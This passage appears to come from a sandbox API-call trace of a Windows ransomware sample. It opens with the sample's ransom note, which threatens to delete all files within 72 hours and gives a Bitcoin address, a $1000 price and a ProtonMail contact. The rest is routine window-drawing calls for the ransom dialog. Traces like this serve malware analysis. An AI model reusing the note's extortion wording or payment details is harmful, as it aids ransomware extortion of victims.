bitcoin:1rixKVYiwwtDheLLb7QHEmxF4Nb1Xt1Fq or all files will be deleted in 72 hours,,,,,, After payment Please Contact (shadowbroker_1@protonmail.com)\r\nThe payment method is: Bitcoins. The price is: $1000 = 0.44407866 Bitcoins\r\n\r\nClick on the 'Buy decryption key' button.", dwStyle=0x50000804, X=16, Y=456, nWidth=768, nHeight=177, hWndParent=0xc018a, hMenu=0x8, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xc01e4 [0051.210] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.210] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x80001, lParam=0xc01e4) returned 0x0 [0051.210] GetStockObject (i=17) returned 0x10a0047 [0051.210] SendMessageW (hWnd=0xc01e4, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0051.210] GetWindowTextLengthW (hWnd=0xc01e4) returned 417 [0051.210] SendMessageW (hWnd=0xc01e4, Msg=0xb1, wParam=0x1a1, lParam=0x1a1) returned 0x1 [0051.210] GetClientRect (in: hWnd=0xc01e4, lpRect=0xd72f04f0f0 | out: lpRect=0xd72f04f0f0) returned 1 [0051.210] GetWindowRect (in: hWnd=0xc01e4, lpRect=0xd72f04f0f0 | out: lpRect=0xd72f04f0f0) returned 1 [0051.211] SetWindowLongPtrW (hWnd=0xc01e4, nIndex=-21, dwNewLong=0x8) returned 0x0 [0051.213] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.213] GetDC (hWnd=0x0) returned 0x1601069e [0051.213] GetDeviceCaps (hdc=0x1601069e, index=90) returned 96 [0051.213] ReleaseDC (hWnd=0x0, hDC=0x1601069e) returned 1 [0051.213] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x320a05c3 [0051.213] SendMessageW (hWnd=0xc01e4, Msg=0x30, wParam=0x320a05c3, lParam=0x1) returned 0x1 [0051.217] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.217] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.217] ShowWindow (hWnd=0xc018a, nCmdShow=5) returned 0 [0051.217] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.217] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0051.217] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.217] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x46, wParam=0x0, lParam=0xd72f04f640) returned 0x0 [0051.226] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.226] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x46, wParam=0x0, lParam=0xd72f04f640) returned 0x0 [0051.226] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.226] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x1c, wParam=0x1, lParam=0x7c0) returned 0x0 [0051.226] NtdllDefWindowProc_W (hWnd=0xb002c, Msg=0x1c, wParam=0x1, lParam=0x7c0) returned 0x0 [0051.226] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.226] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0051.227] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.227] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.227] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0051.230] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.230] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0051.233] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.233] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0051.233] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.233] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.233] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0051.233] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.233] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x8, wParam=0xc01e6, lParam=0x0) returned 0x0 [0051.233] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.233] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0051.234] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.234] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0051.234] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.234] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0xffffffffb20105b1, lParam=0x0) returned 0x1 [0051.234] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.234] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.234] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.234] SetBkColor (hdc=0xffffffffb20105b1, color=0xf0f0f0) returned 0xffffff [0051.234] CreateSolidBrush (color=0xf0f0f0) returned 0xffffffff8a1007bf [0051.234] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.234] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x47, wParam=0x0, lParam=0xd72f04f640) returned 0x0 [0051.234] GetForegroundWindow () returned 0xc018a [0051.234] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.234] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.234] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0051.235] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.235] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0051.235] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.235] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0051.235] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.235] GetWindowLongW (hWnd=0xc018a, nIndex=-20) returned 256 [0051.235] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x84, wParam=0x0, lParam=0x1f70312) returned 0x1 [0051.235] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.235] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.235] GetClientRect (in: hWnd=0xc018a, lpRect=0xd72f04f350 | out: lpRect=0xd72f04f350) returned 1 [0051.235] GetCursorPos (in: lpPoint=0xd72f04f370 | out: lpPoint=0xd72f04f370*(x=786, y=503)) returned 1 [0051.235] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04f370 | out: lpPoint=0xd72f04f370) returned 1 [0051.235] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0051.235] SetCursor (hCursor=0x10003) returned 0x10007 [0051.235] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.235] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.235] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x200, wParam=0x0, lParam=0x18101d1) returned 0x0 [0051.235] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.235] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.235] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.235] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.235] BeginPaint (in: hWnd=0xc018a, lpPaint=0xd72f04f240 | out: lpPaint=0xd72f04f240) returned 0xffffffffb20105b1 [0051.235] EndPaint (hWnd=0xc018a, lpPaint=0xd72f04f240) returned 1 [0051.236] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.236] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.236] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.236] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0x5f0106fd, lParam=0x0) returned 0x1 [0051.236] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.236] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.236] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.236] SetBkColor (hdc=0x5f0106fd, color=0xf0f0f0) returned 0xffffff [0051.236] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.236] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0x5f0106fd, lParam=0x4) returned 0x0 [0051.236] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.236] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.236] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.236] SetBkColor (hdc=0x5f0106fd, color=0xf0f0f0) returned 0xf0f0f0 [0051.236] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.236] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.236] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.236] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0051.236] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.236] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.236] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.236] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0051.237] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.237] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.237] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.237] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.237] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.237] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.237] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.237] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0051.237] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0051.237] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.237] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0x1601069e, lParam=0x0) returned 0x1 [0051.237] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.237] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.237] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.237] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0x0 [0051.237] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.237] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0x1601069e, lParam=0x4) returned 0x0 [0051.237] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.237] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.237] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.237] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.237] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.237] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0051.238] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0051.238] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.238] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.238] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.238] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.238] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.238] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0051.238] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0051.238] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.238] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.238] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.238] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.238] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.238] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0051.238] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0051.239] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.240] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.240] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.240] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.240] GetWindowLongPtrW (hWnd=0xf0020, nIndex=-21) returned 0x5 [0051.240] GetWindowLongPtrW (hWnd=0xf0020, nIndex=-21) returned 0x5 [0051.240] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.240] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0051.240] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0051.240] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.240] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.240] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.240] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.240] GetWindowLongPtrW (hWnd=0x10001e, nIndex=-21) returned 0x6 [0051.240] GetWindowLongPtrW (hWnd=0x10001e, nIndex=-21) returned 0x6 [0051.240] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.240] GetWindowLongW (hWnd=0x10001e, nIndex=-16) returned 1342242944 [0051.240] GetSysColor (nIndex=5) returned 0xffffff [0051.240] GetSysColor (nIndex=8) returned 0x0 [0051.240] SetTextColor (hdc=0xe010572, color=0x0) returned 0x0 [0051.240] SetBkColor (hdc=0xe010572, color=0xffffff) returned 0xffffff [0051.240] CreateSolidBrush (color=0xffffff) returned 0xffffffff9a1005bc [0051.240] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.240] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0xffffffffec010679, lParam=0x0) returned 0x1 [0051.240] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.240] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.240] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.240] SetBkColor (hdc=0xffffffffec010679, color=0xf0f0f0) returned 0xffffff [0051.241] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.241] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0xffffffffec010679, lParam=0x4) returned 0x0 [0051.246] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.246] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.246] GetWindowLongPtrW (hWnd=0x10001e, nIndex=-21) returned 0x6 [0051.246] GetWindowLongPtrW (hWnd=0x10001e, nIndex=-21) returned 0x6 [0051.246] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.246] GetWindowLongW (hWnd=0x10001e, nIndex=-16) returned 1342242944 [0051.246] GetSysColor (nIndex=5) returned 0xffffff [0051.246] GetSysColor (nIndex=8) returned 0x0 [0051.246] SetTextColor (hdc=0xffffffffed010679, color=0x0) returned 0x0 [0051.246] SetBkColor (hdc=0xffffffffed010679, color=0xffffff) returned 0xffffff [0051.248] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x20, wParam=0xc01e6, lParam=0x2000001) returned 0x0 [0051.249] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04f340) returned 0x0 [0051.249] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.249] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0xffffffff870106e1, lParam=0x0) returned 0x1 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.249] SetBkColor (hdc=0xffffffff870106e1, color=0xf0f0f0) returned 0xffffff [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0xffffffff870106e1, lParam=0x4) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.249] SetBkColor (hdc=0xffffffff870106e1, color=0xf0f0f0) returned 0xf0f0f0 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.249] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.249] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0xffffffffee010679, lParam=0x0) returned 0x1 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.249] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xffffff [0051.249] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.249] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0xffffffffee010679, lParam=0x4) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.250] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.250] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.250] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0051.250] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.250] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0x7e010826, lParam=0x0) returned 0x1 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.250] SetBkColor (hdc=0x7e010826, color=0xf0f0f0) returned 0xffffff [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0x7e010826, lParam=0x4) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.250] SetBkColor (hdc=0x7e010826, color=0xf0f0f0) returned 0xf0f0f0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018c, nIndex=-21) returned 0x7 [0051.250] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x7, lParam=0xd72f04ee40) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.250] GetWindowLongPtrW (hWnd=0xc018c, nIndex=-21) returned 0x7 [0051.250] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x7, lParam=0xd72f04ee40) returned 0x0 [0051.250] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.251] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.251] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.251] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.251] GetWindowLongPtrW (hWnd=0xc01e4, nIndex=-21) returned 0x8 [0051.251] GetWindowLongPtrW (hWnd=0xc01e4, nIndex=-21) returned 0x8 [0051.251] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.251] GetWindowLongW (hWnd=0xc01e4, nIndex=-16) returned 1342179332 [0051.251] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.251] GetSysColor (nIndex=8) returned 0x0 [0051.251] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0051.251] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0051.251] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.251] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0xffffffffb40107b3, lParam=0x0) returned 0x1 [0051.251] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.251] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.251] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.251] SetBkColor (hdc=0xffffffffb40107b3, color=0xf0f0f0) returned 0xffffff [0051.251] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.251] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0xffffffffb40107b3, lParam=0x4) returned 0x0 [0051.252] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.252] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.252] GetWindowLongPtrW (hWnd=0xc01e4, nIndex=-21) returned 0x8 [0051.252] GetWindowLongPtrW (hWnd=0xc01e4, nIndex=-21) returned 0x8 [0051.252] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.252] GetWindowLongW (hWnd=0xc01e4, nIndex=-16) returned 1342179332 [0051.252] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.252] GetSysColor (nIndex=8) returned 0x0 [0051.252] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0051.252] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0051.252] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.252] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.252] GetWindowLongPtrW (hWnd=0xc01e4, nIndex=-21) returned 0x8 [0051.252] GetWindowLongPtrW (hWnd=0xc01e4, nIndex=-21) returned 0x8 [0051.252] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.252] GetWindowLongW (hWnd=0xc01e4, nIndex=-16) returned 1342179332 [0051.252] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.252] GetSysColor (nIndex=8) returned 0x0 [0051.252] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0051.252] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xf0f0f0 [0051.252] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.252] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.252] GetWindowLongPtrW (hWnd=0xc01e4, nIndex=-21) returned 0x8 [0051.252] GetWindowLongPtrW (hWnd=0xc01e4, nIndex=-21) returned 0x8 [0051.252] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.252] GetWindowLongW (hWnd=0xc01e4, nIndex=-16) 